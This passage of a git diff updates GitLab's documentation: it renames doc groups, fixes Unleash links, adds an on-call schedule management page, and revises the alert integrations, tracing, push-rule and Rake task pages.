+[`gradualRolloutUserId`](https://docs.getunleash.io/docs/activation_strategy#gradualrolloutuserid).
For example, set a value of 15% to enable the feature for 15% of authenticated users.
@@ -155,7 +155,7 @@ ID for the feature to be enabled. See the [Ruby example](#ruby-application-examp
> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/34363) to be defined per environment in GitLab 12.6.
Enables the feature for a list of target users. It is implemented
-using the Unleash [`userWithId`](https://unleash.github.io/docs/activation_strategy#userwithid)
+using the Unleash [`userWithId`](https://docs.getunleash.io/docs/activation_strategy#userwithid)
activation strategy.
Enter user IDs as a comma-separated list of values (for example,
@@ -171,7 +171,7 @@ target users. See the [Ruby example](#ruby-application-example) below.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35930) in GitLab 13.1.
Enables the feature for lists of users created [in the Feature Flags UI](#create-a-user-list), or with the [Feature Flag User List API](../api/feature_flag_user_lists.md).
-Similar to [User IDs](#user-ids), it uses the Unleash [`userWithId`](https://unleash.github.io/docs/activation_strategy#userwithid)
+Similar to [User IDs](#user-ids), it uses the Unleash [`userWithId`](https://docs.getunleash.io/docs/activation_strategy#userwithid)
activation strategy.
It's not possible to *disable* a feature for members of a user list, but you can achieve the same
@@ -394,4 +394,4 @@ end
You can link related issues to a feature flag. In the **Linked issues** section,
click the `+` button and input the issue reference number or the full URL of the issue.
-This feature is similar to the [related issues](../user/project/issues/related_issues.md) feature.
+This feature is similar to the [linked issues](../user/project/issues/related_issues.md) feature.
diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md
index 3c60c737309..276009ac200 100644
--- a/doc/operations/incident_management/alerts.md
+++ b/doc/operations/incident_management/alerts.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/incident_management/img/custom_alert_mapping_v13_10.png b/doc/operations/incident_management/img/custom_alert_mapping_v13_10.png
deleted file mode 100644
index b2527d3a298..00000000000
--- a/doc/operations/incident_management/img/custom_alert_mapping_v13_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/operations/incident_management/img/custom_alert_mapping_v13_11.png b/doc/operations/incident_management/img/custom_alert_mapping_v13_11.png
new file mode 100644
index 00000000000..ea097af878f
--- /dev/null
+++ b/doc/operations/incident_management/img/custom_alert_mapping_v13_11.png
Binary files differ
diff --git a/doc/operations/incident_management/img/oncall_schedule_day_grid_v13_10.png b/doc/operations/incident_management/img/oncall_schedule_day_grid_v13_10.png
new file mode 100644
index 00000000000..b51b7faf2d6
--- /dev/null
+++ b/doc/operations/incident_management/img/oncall_schedule_day_grid_v13_10.png
Binary files differ
diff --git a/doc/operations/incident_management/img/oncall_schedule_empty_grid_v13_10.png b/doc/operations/incident_management/img/oncall_schedule_empty_grid_v13_10.png
new file mode 100644
index 00000000000..154d1b57d28
--- /dev/null
+++ b/doc/operations/incident_management/img/oncall_schedule_empty_grid_v13_10.png
Binary files differ
diff --git a/doc/operations/incident_management/incidents.md b/doc/operations/incident_management/incidents.md
index 317797376fc..078a1a0be08 100644
--- a/doc/operations/incident_management/incidents.md
+++ b/doc/operations/incident_management/incidents.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -39,7 +39,7 @@ Incident, you have two options to do this manually.
1. Go to **Issues > List**, and select **New issue**.
1. In the **Type** dropdown, select **Incident**. Only fields relevant to
incidents are displayed on the page.
-1. Create the incident as needed, and select **Submit issue** to save the
+1. Create the incident as needed, and select **Create issue** to save the
incident.
![Incident List Create](img/new_incident_create_v13_4.png)
diff --git a/doc/operations/incident_management/index.md b/doc/operations/incident_management/index.md
index 6e285300b12..ff5f41e59e9 100644
--- a/doc/operations/incident_management/index.md
+++ b/doc/operations/incident_management/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -13,6 +13,7 @@ generated by their application. By surfacing alerts and incidents where the code
being developed, efficiency and awareness can be increased. Check out the following sections for more information:
- [Integrate your monitoring tools](integrations.md).
-- Receive [notifications](paging.md) for triggered alerts.
+- Manage [on-call schedules](oncall_schedules.md) and receive [notifications](paging.md) for
+ triggered alerts.
- Triage [Alerts](alerts.md) and [Incidents](incidents.md).
- Inform stakeholders with [Status Page](status_page.md).
diff --git a/doc/operations/incident_management/integrations.md b/doc/operations/incident_management/integrations.md
index 62a50255dd8..c675d995444 100644
--- a/doc/operations/incident_management/integrations.md
+++ b/doc/operations/incident_management/integrations.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -18,10 +18,10 @@ to use this endpoint.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/245331) in GitLab Free 13.5.
-With Maintainer or higher [permissions](../../user/permissions.md), you can view
-the list of configured alerts integrations by navigating to
-**Settings > Operations** in your project's sidebar menu, and expanding **Alerts** section.
-The list displays the integration name, type, and status (enabled or disabled):
+With Maintainer or higher [permissions](../../user/permissions.md),
+you can view the list of configured alerts integrations by navigating to **Settings > Operations**
+in your project's sidebar menu, and expanding the **Alert integrations** section. The list displays
+the integration name, type, and status (enabled or disabled):
![Current Integrations](img/integrations_list_v13_5.png)
@@ -39,9 +39,11 @@ receive alert payloads in JSON format. You can always
1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md)
for a project.
1. Navigate to **Settings > Operations** in your project.
-1. Expand the **Alerts** section, and in the **Integration** dropdown menu, select **Generic**.
-1. Toggle the **Active** alert setting to display the **URL** and **Authorization Key**
- for the webhook configuration.
+1. Expand the **Alert integrations** section, and in the **Select integration type** dropdown menu,
+ select **HTTP Endpoint**.
+1. Toggle the **Active** alert setting. The URL and Authorization Key for the webhook configuration
+ are available in the **View credentials** tab after you save the integration. You must also input
+ the URL and Authorization Key in your external service.
### HTTP Endpoints **(PREMIUM)**
@@ -54,11 +56,11 @@ and you can [customize the payload](#customize-the-alert-payload-outside-of-gitl
1. Sign in to GitLab as a user with maintainer [permissions](../../user/permissions.md)
for a project.
1. Navigate to **Settings > Operations** in your project.
-1. Expand the **Alerts** section.
+1. Expand the **Alert integrations** section.
1. For each endpoint you want to create:
1. Click the **Add new integration** button.
- 1. In the **Integration** dropdown menu, select **HTTP Endpoint**.
+ 1. In the **Select integration type** dropdown menu, select **HTTP Endpoint**.
1. Name the integration.
1. Toggle the **Active** alert setting. The **URL** and **Authorization Key** for the webhook
configuration are available in the **View credentials** tab after you save the integration.
@@ -85,7 +87,7 @@ correct information in the [Alert list](alerts.md) and the
[Alert Details page](alerts.md#alert-details-page), map your alert's fields to
GitLab fields when you [create an HTTP endpoint](#http-endpoints):
-![Alert Management List](img/custom_alert_mapping_v13_10.png)
+![Alert Management List](img/custom_alert_mapping_v13_11.png)
### External Prometheus integration
@@ -165,9 +167,11 @@ alert to confirm your integration works properly.
1. Sign in as a user with Developer or greater [permissions](../../user/permissions.md).
1. Navigate to **Settings > Operations** in your project.
-1. Click **Alerts endpoint** to expand the section.
-1. Enter a sample payload in **Alert test payload** (valid JSON is required).
-1. Click **Test alert payload**.
+1. Click **Alert integrations** to expand the section.
+1. Click the **{settings}** settings icon on the right side of the integration in [the list](#integrations-list).
+1. Select the **Send test alert** tab to open it.
+1. Enter a test payload in the payload field (valid JSON is required).
+1. Click **Send**.
GitLab displays an error or success message, depending on the outcome of your test.
diff --git a/doc/operations/incident_management/oncall_schedules.md b/doc/operations/incident_management/oncall_schedules.md
new file mode 100644
index 00000000000..87745639c69
--- /dev/null
+++ b/doc/operations/incident_management/oncall_schedules.md
@@ -0,0 +1,109 @@
+---
+stage: Monitor
+group: Monitor
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# On-call Schedule Management **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4544) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.11.
+
+Use on-call schedule management to create schedules for responders to rotate on-call
+responsibilities. Maintain the availability of your software services by putting your teams on-call.
+With an on-call schedule, your team is notified immediately when things go wrong so they can quickly
+respond to service outages and disruptions.
+
+To use on-call schedules, users with Maintainer [permissions](../../user/permissions.md)
+must do the following:
+
+1. [Create a schedule](#schedules).
+1. [Add a rotation to the schedule](#rotations).
+
+If you have at least Maintainer [permissions](../../user/permissions.md)
+to create a schedule, you can do this manually.
+
+## Schedules
+
+Set up an on-call schedule for your team to add rotations to.
+
+Follow these steps to create a schedule:
+
+1. Go to **Operations > On-call Schedules** and select **Add a schedule**.
+1. In the **Add schedule** form, enter the schedule's name and description, and select a timezone.
+1. Click **Add schedule**.
+
+You now have an empty schedule with no rotations. This renders as an empty state, prompting you to
+create [rotations](#rotations) for your schedule.
+
+![Schedule Empty Grid](img/oncall_schedule_empty_grid_v13_10.png)
+
+### Edit a schedule
+
+Follow these steps to update a schedule:
+
+1. Go to **Operations > On-call Schedules** and select the **Pencil** icon on the top right of the
+ schedule card, across from the schedule name.
+1. In the **Edit schedule** form, edit the information you wish to update.
+1. Click the **Edit schedule** button to save your changes.
+
+If you change the schedule's time zone, GitLab automatically updates the rotation's restricted time
+interval (if one is set) to the corresponding times in the new time zone.
+
+### Delete a schedule
+
+Follow these steps to delete a schedule:
+
+1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon on the top right of the
+ schedule card.
+1. In the **Delete schedule** window, click the **Delete schedule** button.
+
+## Rotations
+
+Add rotations to an existing schedule to put your team members on-call.
+
+Follow these steps to create a rotation:
+
+1. Go to **Operations > On-call Schedules** and select **Add a rotation** on the top right of the
+ current schedule.
+1. In the **Add rotation** form, enter the following:
+
+ - **Name:** Your rotation's name.
+ - **Participants:** The people you want in the rotation.
+ - **Rotation length:** The rotation's duration.
+ - **Starts on:** The date and time the rotation begins.
+ - **Enable end date:** With the toggle set to on, you can select the date and time your rotation
+ ends.
+ - **Restrict to time intervals:** With the toggle set to on, you can restrict your rotation to the
+ time period you select.
+
+### Edit a rotation
+
+Follow these steps to edit a rotation:
+
+1. Go to **Operations > On-call Schedules** and select the **Pencil** icon to the right of the title
+ of the rotation that you want to update.
+1. In the **Edit rotation** form, make the changes that you want.
+1. Select the **Edit rotation** button.
+
+### Delete a rotation
+
+Follow these steps to delete a rotation:
+
+1. Go to **Operations > On-call Schedules** and select the **Trash Can** icon to the right of the
+ title of the rotation that you want to delete.
+1. In the **Delete rotation** window, select the **Delete rotation** button.
+
+## View schedule rotations
+
+You can view the on-call schedules of a single day or two weeks. To switch between these time
+periods, select the **1 day** or **2 weeks** buttons on the schedule. Two weeks is the default view.
+
+Hover over any rotation shift participants in the schedule to view their individual shift details.
+
+![1 Day Grid View](img/oncall_schedule_day_grid_v13_10.png)
+
+## Page an on-call responder
+
+When an alert is created in a project, GitLab sends an email to the on-call responder(s) in the
+on-call schedule for that project. If there is no schedule or no one on-call in that schedule at the
+time the alert is triggered, no email is sent.
diff --git a/doc/operations/incident_management/paging.md b/doc/operations/incident_management/paging.md
index 4801f94d494..1588cb96218 100644
--- a/doc/operations/incident_management/paging.md
+++ b/doc/operations/incident_management/paging.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -32,3 +32,9 @@ a single email notification for new alerts.
1. In the **Alert Integration** tab, select the checkbox
**Send a single email notification to Owners and Maintainers for new alerts**.
1. Select **Save changes**.
+
+## Paging **(PREMIUM)**
+
+In projects that have an [on-call schedule](oncall_schedules.md) configured, on-call responders are
+paged through email for triggered alerts. The on-call responder(s) receive one email for triggered
+alerts.
diff --git a/doc/operations/incident_management/status_page.md b/doc/operations/incident_management/status_page.md
index 46f0a6f278c..1e11a9c62e0 100644
--- a/doc/operations/incident_management/status_page.md
+++ b/doc/operations/incident_management/status_page.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/index.md b/doc/operations/index.md
index 4427dd66f3d..934634562fc 100644
--- a/doc/operations/index.md
+++ b/doc/operations/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -51,7 +51,7 @@ and the work required to fix them - all without leaving GitLab.
- Discover and view errors generated by your applications with
[Error Tracking](error_tracking.md).
-## Trace application health and performance **(ULTIMATE)**
+## Trace application health and performance
Application tracing in GitLab is a way to measure an application's performance and
health while it's running. After configuring your application to enable tracing, you
@@ -63,7 +63,7 @@ GitLab integrates with [Jaeger](https://www.jaegertracing.io/) - an open-source,
end-to-end distributed tracing system tool used for monitoring and troubleshooting
microservices-based distributed systems - and displays results within GitLab.
-- [Trace the performance and health](tracing.md) of a deployed application. **(ULTIMATE)**
+- [Trace the performance and health](tracing.md) of a deployed application.
## Aggregate and store logs
diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md
index 98beb8d6773..7763224d21e 100644
--- a/doc/operations/metrics/alerts.md
+++ b/doc/operations/metrics/alerts.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -17,6 +17,10 @@ your team when environment performance falls outside of the boundaries you set.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6590) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.2 for [custom metrics](index.md#adding-custom-metrics), and GitLab 11.3 for [library metrics](../../user/project/integrations/prometheus_library/index.md).
+WARNING:
+Managed Prometheus on Kubernetes is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327796)
+and scheduled for [removal in GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
+
For managed Prometheus instances using auto configuration, you can
[configure alerts for metrics](index.md#adding-custom-metrics) directly in the
[metrics dashboard](index.md). To set an alert:
diff --git a/doc/operations/metrics/dashboards/default.md b/doc/operations/metrics/dashboards/default.md
index 3c151586f12..2ba7a4e0d87 100644
--- a/doc/operations/metrics/dashboards/default.md
+++ b/doc/operations/metrics/dashboards/default.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/develop.md b/doc/operations/metrics/dashboards/develop.md
index 76ad609870c..28a4488014a 100644
--- a/doc/operations/metrics/dashboards/develop.md
+++ b/doc/operations/metrics/dashboards/develop.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md
index a0ac4fe6226..7b056020a99 100644
--- a/doc/operations/metrics/dashboards/index.md
+++ b/doc/operations/metrics/dashboards/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/panel_types.md b/doc/operations/metrics/dashboards/panel_types.md
index 4b942ffcf4f..dc96e2556ac 100644
--- a/doc/operations/metrics/dashboards/panel_types.md
+++ b/doc/operations/metrics/dashboards/panel_types.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md
index 18cfd6c53b8..e998db6b51b 100644
--- a/doc/operations/metrics/dashboards/settings.md
+++ b/doc/operations/metrics/dashboards/settings.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/templating_variables.md b/doc/operations/metrics/dashboards/templating_variables.md
index 72541f7ced5..20071300dec 100644
--- a/doc/operations/metrics/dashboards/templating_variables.md
+++ b/doc/operations/metrics/dashboards/templating_variables.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md
index df2dd0939bb..31782b5c95f 100644
--- a/doc/operations/metrics/dashboards/variables.md
+++ b/doc/operations/metrics/dashboards/variables.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/yaml.md b/doc/operations/metrics/dashboards/yaml.md
index 138d9b28c76..45803598a40 100644
--- a/doc/operations/metrics/dashboards/yaml.md
+++ b/doc/operations/metrics/dashboards/yaml.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/dashboards/yaml_number_format.md b/doc/operations/metrics/dashboards/yaml_number_format.md
index dd652a0cc2b..3b6e10e647e 100644
--- a/doc/operations/metrics/dashboards/yaml_number_format.md
+++ b/doc/operations/metrics/dashboards/yaml_number_format.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/embed.md b/doc/operations/metrics/embed.md
index 87d84bfdfc0..d773d04f1cc 100644
--- a/doc/operations/metrics/embed.md
+++ b/doc/operations/metrics/embed.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md
index 2548e81813b..ff92997e44b 100644
--- a/doc/operations/metrics/embed_grafana.md
+++ b/doc/operations/metrics/embed_grafana.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -19,7 +19,7 @@ You can embed live [Grafana](https://docs.gitlab.com/omnibus/settings/grafana.ht
Your Grafana instance must:
- Be available to the target user, either as a public dashboard or on the same network.
-- Have [Grafana Image Renderer](https://grafana.com/grafana/plugins/grafana-image-renderer) installed.
+- Have [Grafana Image Renderer](https://grafana.com/grafana/plugins/grafana-image-renderer/) installed.
To use Grafana-rendered images:
diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md
index ca7bce347d3..8ff45ac4015 100644
--- a/doc/operations/metrics/index.md
+++ b/doc/operations/metrics/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md
index a4aae05c46d..a6647641527 100644
--- a/doc/operations/tracing.md
+++ b/doc/operations/tracing.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -9,27 +9,26 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7903) in GitLab Ultimate 11.5.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42645) to GitLab Free in 13.5.
-Tracing provides insight into the performance and health of a deployed application,
-tracking each function or microservice which handles a given request.
+Tracing provides insight into the performance and health of a deployed application, tracking each
+function or microservice that handles a given request. Tracing makes it easy to understand the
+end-to-end flow of a request, regardless of whether you are using a monolithic or distributed
+system.
-This makes it easy to
-understand the end-to-end flow of a request, regardless of whether you are using a monolithic or distributed system.
+## Install Jaeger
-## Jaeger tracing
-
-[Jaeger](https://www.jaegertracing.io/) is an open source, end-to-end distributed
-tracing system used for monitoring and troubleshooting microservices-based distributed
-systems.
+[Jaeger](https://www.jaegertracing.io/) is an open source, end-to-end distributed tracing system
+used for monitoring and troubleshooting microservices-based distributed systems. To learn more about
+installing Jaeger, read the official
+[Getting Started documentation](https://www.jaegertracing.io/docs/latest/getting-started/).
-### Deploying Jaeger
+See also:
-To learn more about deploying Jaeger, read the official
-[Getting Started documentation](https://www.jaegertracing.io/docs/latest/getting-started/).
-There is an easy to use [all-in-one Docker image](https://www.jaegertracing.io/docs/latest/getting-started/#AllinoneDockerimage),
-as well as deployment options for [Kubernetes](https://github.com/jaegertracing/jaeger-kubernetes)
-and [OpenShift](https://github.com/jaegertracing/jaeger-openshift).
+- An [all-in-one Docker image](https://www.jaegertracing.io/docs/latest/getting-started/#all-in-one).
+- Deployment options for:
+ - [Kubernetes](https://github.com/jaegertracing/jaeger-kubernetes).
+ - [OpenShift](https://github.com/jaegertracing/jaeger-openshift).
-### Enabling Jaeger
+## Link to Jaeger
GitLab provides an easy way to open the Jaeger UI from within your project:
@@ -37,5 +36,5 @@ GitLab provides an easy way to open the Jaeger UI from within your project:
[client libraries](https://www.jaegertracing.io/docs/latest/client-libraries/).
1. Navigate to your project's **Settings > Operations** and provide the Jaeger URL.
1. Click **Save changes** for the changes to take effect.
-1. You can now visit **Operations > Tracing** in your project's sidebar and
- GitLab redirects you to the configured Jaeger URL.
+1. You can now visit **Operations > Tracing** in your project's sidebar and GitLab redirects you to
+ the configured Jaeger URL.
diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md
index 0df0ef06d19..95bc176e70a 100644
--- a/doc/policy/maintenance.md
+++ b/doc/policy/maintenance.md
@@ -36,7 +36,7 @@ The following table describes the version types and their release cadence:
| Version type | Description | Cadence |
|:-------------|:------------|:--------|
-| Major | For significant changes, or when any backward-incompatible changes are introduced to the public API. | Yearly. The next major release is GitLab 14.0 on May 22, 2021. Subsequent major releases will be scheduled for May 22 each year, by default. |
+| Major | For significant changes, or when any backward-incompatible changes are introduced to the public API. | Yearly. The next major release is GitLab 14.0 on June 22, 2021 (one month later than typical, details in [this issue](https://gitlab.com/gitlab-com/Product/-/issues/2337)). Subsequent major releases will be scheduled for May 22 each year, by default. |
| Minor | For when new backward-compatible functionality is introduced to the public API, a minor feature is introduced, or when a set of smaller features is rolled out. | Monthly on the 22nd. |
| Patch | For backward-compatible bug fixes that fix incorrect behavior. See [Patch releases](#patch-releases). | As needed. |
diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md
index 9be76416ba7..2117a961957 100644
--- a/doc/push_rules/push_rules.md
+++ b/doc/push_rules/push_rules.md
@@ -103,6 +103,28 @@ The following options are available:
NOTE:
GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular expressions in push rules, and you can test them at the [regex101 regex tester](https://regex101.com/).
+### Caveat to "Reject unsigned commits" push rule **(PREMIUM)**
+
+This push rule ignores commits that are authenticated and created by GitLab
+(either through the UI or API). When the **Reject unsigned commits** push rule is
+enabled, unsigned commits may still show up in the commit history if a commit was
+created **within** GitLab itself. As expected, commits created outside GitLab and
+pushed to the repository are rejected. For more information about how GitLab
+plans to fix this issue, read [issue #19185](https://gitlab.com/gitlab-org/gitlab/-/issues/19185).
+
+#### "Reject unsigned commits" push rule disables Web IDE
+
+In 13.10, if a project has the "Reject unsigned commits" push rule, the user will not be allowed to
+commit through GitLab Web IDE.
+
+To allow committing through the Web IDE on a project with this push rule, a GitLab administrator will
+need to disable the feature flag `reject_unsigned_commits_by_gitlab`. This can be done through a
+[rails console](../administration/operations/rails_console.md) and running:
+
+```ruby
+Feature.disable(:reject_unsigned_commits_by_gitlab)
+```
+
## Prevent pushing secrets to the repository
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385) in GitLab 8.12.
diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md
index 48fa847e170..e182ecc48bc 100644
--- a/doc/raketasks/backup_restore.md
+++ b/doc/raketasks/backup_restore.md
@@ -941,7 +941,7 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back
WARNING:
`gitlab-rake gitlab:backup:restore` doesn't set the correct file system
permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759).
-On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this
+In GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this
issue.
If there's a GitLab version mismatch between your backup tar file and the
@@ -963,7 +963,7 @@ sudo gitlab-ctl restart
sudo gitlab-rake gitlab:check SANITIZE=true
```
-On GitLab 13.1 and later, check [database values can be decrypted](../administration/raketasks/doctor.md)
+In GitLab 13.1 and later, check [database values can be decrypted](../administration/raketasks/doctor.md)
especially if `/etc/gitlab/gitlab-secrets.json` was restored, or if a different server is
the target for the restore.
@@ -1011,7 +1011,7 @@ Users of GitLab 12.1 and earlier should use the command `gitlab-rake gitlab:back
WARNING:
`gitlab-rake gitlab:backup:restore` doesn't set the correct file system
permissions on your Registry directory. This is a [known issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62759).
-On GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this
+In GitLab 12.2 or later, you can use `gitlab-backup restore` to avoid this
issue.
The GitLab Helm chart uses a different process, documented in
diff --git a/doc/raketasks/generate_sample_prometheus_data.md b/doc/raketasks/generate_sample_prometheus_data.md
index 41e31c0b817..f014b82cca1 100644
--- a/doc/raketasks/generate_sample_prometheus_data.md
+++ b/doc/raketasks/generate_sample_prometheus_data.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/raketasks/index.md b/doc/raketasks/index.md
index ab0505f065e..7efe3115a83 100644
--- a/doc/raketasks/index.md
+++ b/doc/raketasks/index.md
@@ -1,48 +1,51 @@
---
-stage: none
-group: unassigned
+stage: Enablement
+group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
# Rake tasks **(FREE SELF)**
-GitLab provides [Rake](https://ruby.github.io/rake/) tasks for common administration and operational processes.
+GitLab provides [Rake](https://ruby.github.io/rake/) tasks to assist you with
+common administration and operational processes.
-GitLab Rake tasks are performed using:
+You can perform GitLab Rake tasks by using:
-- `gitlab-rake <raketask>` for [Omnibus GitLab](https://docs.gitlab.com/omnibus/README.html) installations.
-- `bundle exec rake <raketask>` for [source](../install/installation.md) installations.
+- `gitlab-rake <raketask>` for [Omnibus GitLab](https://docs.gitlab.com/omnibus/README.html)
+ installations.
+- `bundle exec rake <raketask>` for [source](../install/installation.md)
+ installations.
## Available Rake tasks
-The following are available Rake tasks:
+The following Rake tasks are available for use with GitLab:
-| Tasks | Description |
-|:----------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------|
-| [Back up and restore](backup_restore.md) | Back up, restore, and migrate GitLab instances between servers. |
-| [Clean up](cleanup.md) | Clean up unneeded items from GitLab instances. |
-| [Development](../development/rake_tasks.md) | Tasks for GitLab contributors. |
-| [Doctor tasks](../administration/raketasks/doctor.md) | Checks for data integrity issues. |
-| [Elasticsearch](../integration/elasticsearch.md#gitlab-advanced-search-rake-tasks) **(PREMIUM SELF)** | Maintain Elasticsearch in a GitLab instance. |
-| [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. |
-| [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. |
-| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM SELF)** | [Geo](../administration/geo/index.md)-related maintenance. |
-| [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. |
-| [Import repositories](import.md) | Import bare repositories into your GitLab instance. |
-| [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). |
-| [Integrity checks](../administration/raketasks/check.md) | Check the integrity of repositories, files, and LDAP. |
-| [LDAP maintenance](../administration/raketasks/ldap.md) | [LDAP](../administration/auth/ldap/index.md)-related tasks. |
-| [List repositories](list_repos.md) | List of all GitLab-managed Git repositories on disk. |
-| [Migrate Snippets to Git](migrate_snippets.md) | Migrate GitLab Snippets to Git repositories and show migration status |
